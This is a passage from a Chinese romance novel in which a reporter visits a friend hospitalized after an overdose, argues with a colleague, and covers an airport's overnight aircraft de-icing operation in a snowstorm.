“魏萱，吴允吃了大量的安眠药，快过来看看，人刚推进去洗胃。” 一句话，让魏萱的心一抖。怎么就这样了呢？之前的吴允，是多么意气风发的男孩。 容不得多想，魏萱草草换了衣裳，直奔医院而去。 20. 除冰 到了急诊室的门口，穿着大风衣的苏晓迎了上来。“刚刚洗胃了，人没事，不过吴允的爸妈挺伤心的。本来都出院了，这又出了这么一档子事。” “不是说吴允已经在投简历了吗？找一些线上的工作。” “就业环境不乐观，大学生都难，别说他了。被退了几次简历后，就有点受打击了，所以……”苏晓叹了一口气，眼睛却往不远处看去。顺着她的视线，魏萱看见了一个很熟悉的人——韩逸。 “他怎么来了？”魏萱蹙眉。 苏晓额了一声，压低声音道：“你还不知道吧。韩逸调回新丽景了。据说，他在电视台的时候，追求一个女孩。没想到，人家是台长看中的儿媳妇。这样被排挤了几次后，他觉得待不下去，便求了池雪露，又回到了新丽景。虽然现在是实习生，但我觉得以他跟池雪露的关系，应该很快就能转正了。” “最近池雪露不是宋副总走得很近？”魏萱稍稍诧异。 “宋副总都离过婚的人，怎么会吃这种飞醋。再说了，韩逸的能力还可以，之前在电视台的时候多少也算做出些名堂来，宋副总现在正缺人手，巴不得池雪露多给他培养两个。” 魏萱明白了，可对着韩逸那张看上去温文尔雅的脸，实在没什么好情绪。反倒是韩逸，竟然还挺高兴的，凑上来问道：“人没事了是吧。” “没事了，雪露姐让你来的？”苏晓问。 韩逸点头，从怀里摸出一个信封来。“雪露姐的意思，说是一片心意。你们帮忙转达吧。还有啊，雪露姐叮嘱了，不许外头的记者采访吴允，你们两个跟吴允关系好，盯着点吧。陆言言的对家不少，没准就会拿这事做文章呢。” 苏晓伸手一摸，信封不薄不厚。魏萱却有些按捺不住，上前把信封塞还给韩逸道：“就这样？就没了？公司不应该对吴允负责吗？” “你犯不着跟我说啊。”韩逸两手举起，不肯接那信封，又笑着嘲讽道：“我说魏萱你怎么还是这么个脾气，导师说了多少遍了，你进的不是体制内，不要太冲了。你说我好心好意过来的，跟我甩什么脸子啊？” “我不信你没打听吴允的事。你也是做新闻的，连最基本的同情心都没有么？”魏萱冷冷道。 韩逸闻言倒是心一虚，他的确私下打听了吴允的事，更知道这事其实池雪露多少有点责任。可他不愿意出这个头，更不可能得罪池雪露。所以最好的法子就是装鸵鸟。 不过此刻，面对魏萱的质问，韩逸不大满意。“当初你进学生会的时候，还是我提拔的你呢。现在你倒是翅膀硬了。行了，魏萱，别装什么老资格了，我告诉你，等我转了正，这A组就没你们什么事了。” “你先转正再说吧。”苏晓一边不屑地翻了个白眼，一边拉过魏萱。 韩逸脸一白，呵呵冷笑两声道：“行，走着瞧。等我当上组长的那一天，第一件事就是先开了你，魏萱。” “滚吧你。”苏晓不耐烦地拉着魏萱走开了。魏萱倒是不生气，心里格外清醒。“听他的意思，池雪露大概是要升了。” 苏晓也听出来了，脸色更加不好看，嘴里却安慰道：“行了，别想那么多了。说回吴允的事吧，萱萱，咱俩得想想办法了。” “我给我导师打电话问问。” “嗯。” 说话的功夫，吴允的父母已经缴费回来了。两个人便赶紧跑去安慰。这样足足折腾了一夜，等到第二天回家，魏萱的妈妈又发来要钱的微信，说是给她哥哥的孩子过生日。 “你去看脚伤了吗？”魏萱发问。上次她妈妈说脚扭伤了，魏萱就多给她转了三千块，想着加上保险的钱，怎么也够用了。 “不严重，不用看。”对面回答。 “那钱呢？” 她妈妈没有回复，直到魏萱反复问了几次，才问出答案来。“给你哥买车。” ……魏萱真是无语死了。她锁上屏幕，叹着气打开了冰箱。等到这会，她才想起来，昨晚傅予深的微信，她还没回。 可细想想，她又觉得没什么好回的。范姜合都把话说到了这个份上，自己要是再不识趣，就真是自找没趣了。 于是，她任由那条微信躺在那，再也没搭腔。 偏偏，机坪上的工作躲不过去。不过隔了一天的功夫，她又看见了傅予深。但这回，显然局势比上次紧张多了。 天气预报早早就说了明天会有今年冬天的第一场大雪。魏萱从来不知道，原来浪漫的雪天在机务眼里，意味着彻夜不休的加班任务。 飞机要在出港前除冰，除冰要用专门的除冰车，除冰车要加配比明确的除冰液……每一个环节都需要大量的人力物力。魏萱坐在会议室的角落里，听着各个部门的准备，然后惊觉，眼前的这群人几乎把所有的预案都做好了，几乎把所有的漏洞都补全了。 果然，一个行业有一个行业的高标准。直觉告诉魏萱，今天的经历对她写出一篇优秀的报道有很大帮助。 这会，众人的发言已经说得七七八八。最后，主持人开口，有些恭敬地看向傅予深。“李专家，您有什么想法？” 魏萱一怔，这才知道原来他已经是专家级别的人物了。可是，她垂眸看了看自己的笔记，里面从头到尾所有环节所有设备都安排好了，他还能有什么想法呢？哪怕是刚刚发过言的副总，也只是做了些可有可无的补充而已。毕竟，明航成立这么多年，对除冰这种事已经建立明确的制度了。 她有些好奇。 坐在黑色办公椅上的傅予深淡淡合拢手中的钢笔。那笔光泽极好，看着便造价不菲。魏萱远远看着他，只见他坐在一众领导中很是拔尖，颇有一种大明星开了公司，又亲自担任总裁的感觉。而他一开口，众人全都安静下来了。 “我对预案没意见。”他漫声说着，语气里有一种淡淡的压迫感。随后，他站起身来，随手在白板上写下两个字。银色袖口的光芒微微闪烁，带着一种与生俱来的贵气。 他写下的两个字是“数据。” 魏萱顿时眼前一亮。 下一刻，傅予深慢慢解释起来。“整合除冰数据，不仅能将我们的除冰范式推广开来，而且也能为后续工作提供重要参考价值……” “一次做好没有用，要次次做好，才是提质增效的关键。”他一番话说完，又随手放下手中的笔。 魏萱无意看了一眼，旁边的年轻女秘书眼睛都已经直了。也是，又帅气又优秀的男人，谁不佩服呢。 果然，下头的众人连连点起头来。这会，魏萱也明白了，为什么傅予深能成为傅予深，就因为他的格局与旁人不一样。 简简单单的两个字，却成为了这场准备会当中最有意义的一条建议。 魏萱忍不住唏嘘。自己前天到底是哪根筋没搭对，怎么能让这么珍贵的专家级人物因为自己而淋得全身湿漉…… 她咬着唇，一边后悔，一边跟着众人重新进了场。所谓的场，就是停机坪，没有工作证和航司批准，一般人是很难进入的。 “这样的天你也来？”韩大宇见了她，一脸惊讶。 “这样的天气才更要来啊。”魏萱对着他客气地笑了笑。 韩大宇给了她一个大拇指，没再说什么，一头便扎进机库拖飞机去了。魏萱四处走走记记，直到晚上八点，四十二架次的飞机除冰任务正式开始了。 机坪很大，人很多，所以魏萱是看不见也找不到傅予深的。而此刻的她也没想到，那一晚的经历，会让她很久很久都忘不掉。 一个又一个穿着厚厚制服的人站在与飞机一样高的梯子上，带着沉重的面罩，手持喷嘴，让喷撒而出的除冰液尽量覆盖飞机的每一寸钢铁肌肤。魏萱光看着就觉得壮观，其次是觉得冷。她垂眸看了一眼衣服上带着的温度计。 此刻，机坪温度，零下二十五度。 一辆又一辆的除冰车往返于机坪和油罐之间，既要加除冰液，又要加供车辆所用的燃油。除冰车走不快，燃油费得多，偏偏除冰时间又紧张。稍稍慢了，就有可能导致一架飞机的延误或者浪费一架飞机的维修时间。一架飞机的延误或维修，又意味着浪费旅客的时间。 当然，里面又涉及很多的安全问题。所以此刻，速度就是生命。 那是魏萱第一次知道，原来停机坪也可以像战场一样热烈。她骤然明白了傅予深所热爱的事业，也意识到原来每个行业都有各自的不容易。 问题出现在了燃油上。不同航司共用一个油罐，所以加油需要排队。偏偏这十几辆除冰车要应对四十余架飞机和五十二个在冰天雪地里等着干活的工作者，谁都等不得。这一刻，预案也显得不那么全面了。 “能不能让那边等着除冰的工作者趁机歇一会？”这是魏萱想说而没说出口的话。当然说不出口，所有人都在争分夺秒呢，她又怎么能拖后腿。 “没办法了。”车队的司机一收刹车，拿着对讲开始喊。“空调车有没有油？借我。” 大伙思路打开。“电源车也调过来，把油借我。” 陆陆续续的，果然来了不少车辆。可问题又来了，柴油怎么导出来？ “用嘴。”有人大喊。 魏萱简直惊呆了。这天气呼气成霜，脚都冻得没知觉了，要拿嘴去吸油，怎么可能？可人家都没魏萱这么犹豫，几乎是一呼百应般，大伙全都答应下来了。 不答应怎么办，不能让我兄弟们都在那冻着吧。有人道。 魏萱急得直跺脚，总算乔森乔经理反应快，很快安排了吸油的装置过来，这才算是免了大伙的一场辛苦。 油算 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男人嗐了一声，举起手里的盒饭道：“记者同志，不是我们工作不到位，而是这些饭拿过去了，他们也没有时间吃。到最后的结果都是一样的，都得凉，都得凑合吃。就连保温箱也没用。记者同志，一到雪天，我们的工作环境就恶劣一些，这都是没办法的。不过，我们也有过冬补助，也有加班补助，算起来也还行。” 一番话说得魏萱没什么脾气了，只是心里仍沉沉地不舒服。她伸出手，主动接过两个袋子。“我顺路带过去吧，正好给你节约点时间。” “好，那就辛苦您了。”办公室的人想起来了，最近有位记者一直在跟踪采访飞机维修工程师们的事，所以便乐呵呵地应承下来。 机坪上不可能有休息室，魏萱也不愿意把盒饭放在雪地里。哪怕是有屋檐的地方，那也是冰凉的。她从工作服堆里找到了一件备用棉衣，默默把盒饭包起来，然后又重新抱在怀里。 哪怕能留住一点热度也好。这会，其实脑子里装的并不是傅予深，而是眼前每一个为了工作不计得失的人。 她是今天才知道，原来每一架平安起落的飞机背后，都有一群人在默默保障。 大约是凌晨五点，晨光熹微的时候，一群人披着朝霞的光，从远处走过来。这会大伙都身心俱疲，显然也没了开玩笑的力气。可看见魏萱手里这样抱着盒饭的时候，眼底都有些不忍。 “魏记者……”韩大宇先张了口，却不知道该说什么。眼前的魏萱鼻尖微红，眼尾发湿，栗色卷发上染着雪花，脸上的笑意却明媚大方。 “快吃饭吧。”她的眼眸很亮，里面带着惦念的意味。这种惦念无关男女，更多的是尊重和惺惺相惜的意味。 “行。”韩大宇答应下来。周遭的几个人看不下去，忍不住拉着韩大宇说话。“宇哥，你去找乔经理呗，人家一个小姑娘，让人家跟咱们熬什么啊？” “就是啊。吃凉饭都习惯了，她在这一站，跟我妹妹似的，我心里可不是滋味了。” 人跟人都是相互的，魏萱没把自己当成例行公事的记者，他们自然也都看在眼里。 “一块去找乔经理吧。”几个人仓促吃了两口饭，韩大宇开口道。“正好我们去汇报工作。” 其实饭还是凉的。可大约是因为加了些关心的味道，所以大伙都吃得比平时香。 只是，傅予深并不在。魏萱自然不会开口问，只是在韩大宇和李辰说起来的时候，忍不住竖起耳朵听了。 “深哥呢？” “在做最终的签字检查，不用给他留饭，反正每次他都没空吃。”李辰道。 “不吃也得留啊。要不是为了让咱们轻松点，深哥至于这么辛苦么。”韩大宇拿着手册狠狠地照着李辰的脑袋砸了一下。李辰顿时不吭声了。 两个人的对话草草结束，魏萱心里却咯噔一声。这样的雪天，他竟然是连冷饭都吃不上的。其实话说回来，以他如今的身份地位，完全可以坐镇指挥或者做技术研究，根本不需要进场的，偏偏傅予深与众不同，不仅喜欢飞机，而且把这份喜欢做到了极致。 她对他的佩服又多了一层。 差不多要走了，魏萱没再多想，迅速收拾了一个干净的袋子，把最后一盒饭装好，又用棉衣裹了好几层，这才稍稍松口气。 “他们一会还得给几架回港的飞机做预除冰。这样一来，可能就得忙到下午了。哎，可惜明天还可能有降雪，后天天气才好起来。魏记者，你今天已经很辛苦了。要是坚持不住，就先回去吧，反正素材也收集得差不多了吧。”回到机库，乔森看着手都冻僵了的魏萱，颇有些不是滋味。 魏萱现在和他们多少带了点战友情谊，摇摇头道：“不用，我还可以。” 话音落下，还没听见乔森的回答，魏萱又听见了那道清冽冷淡的声音。 “她现在就得走。”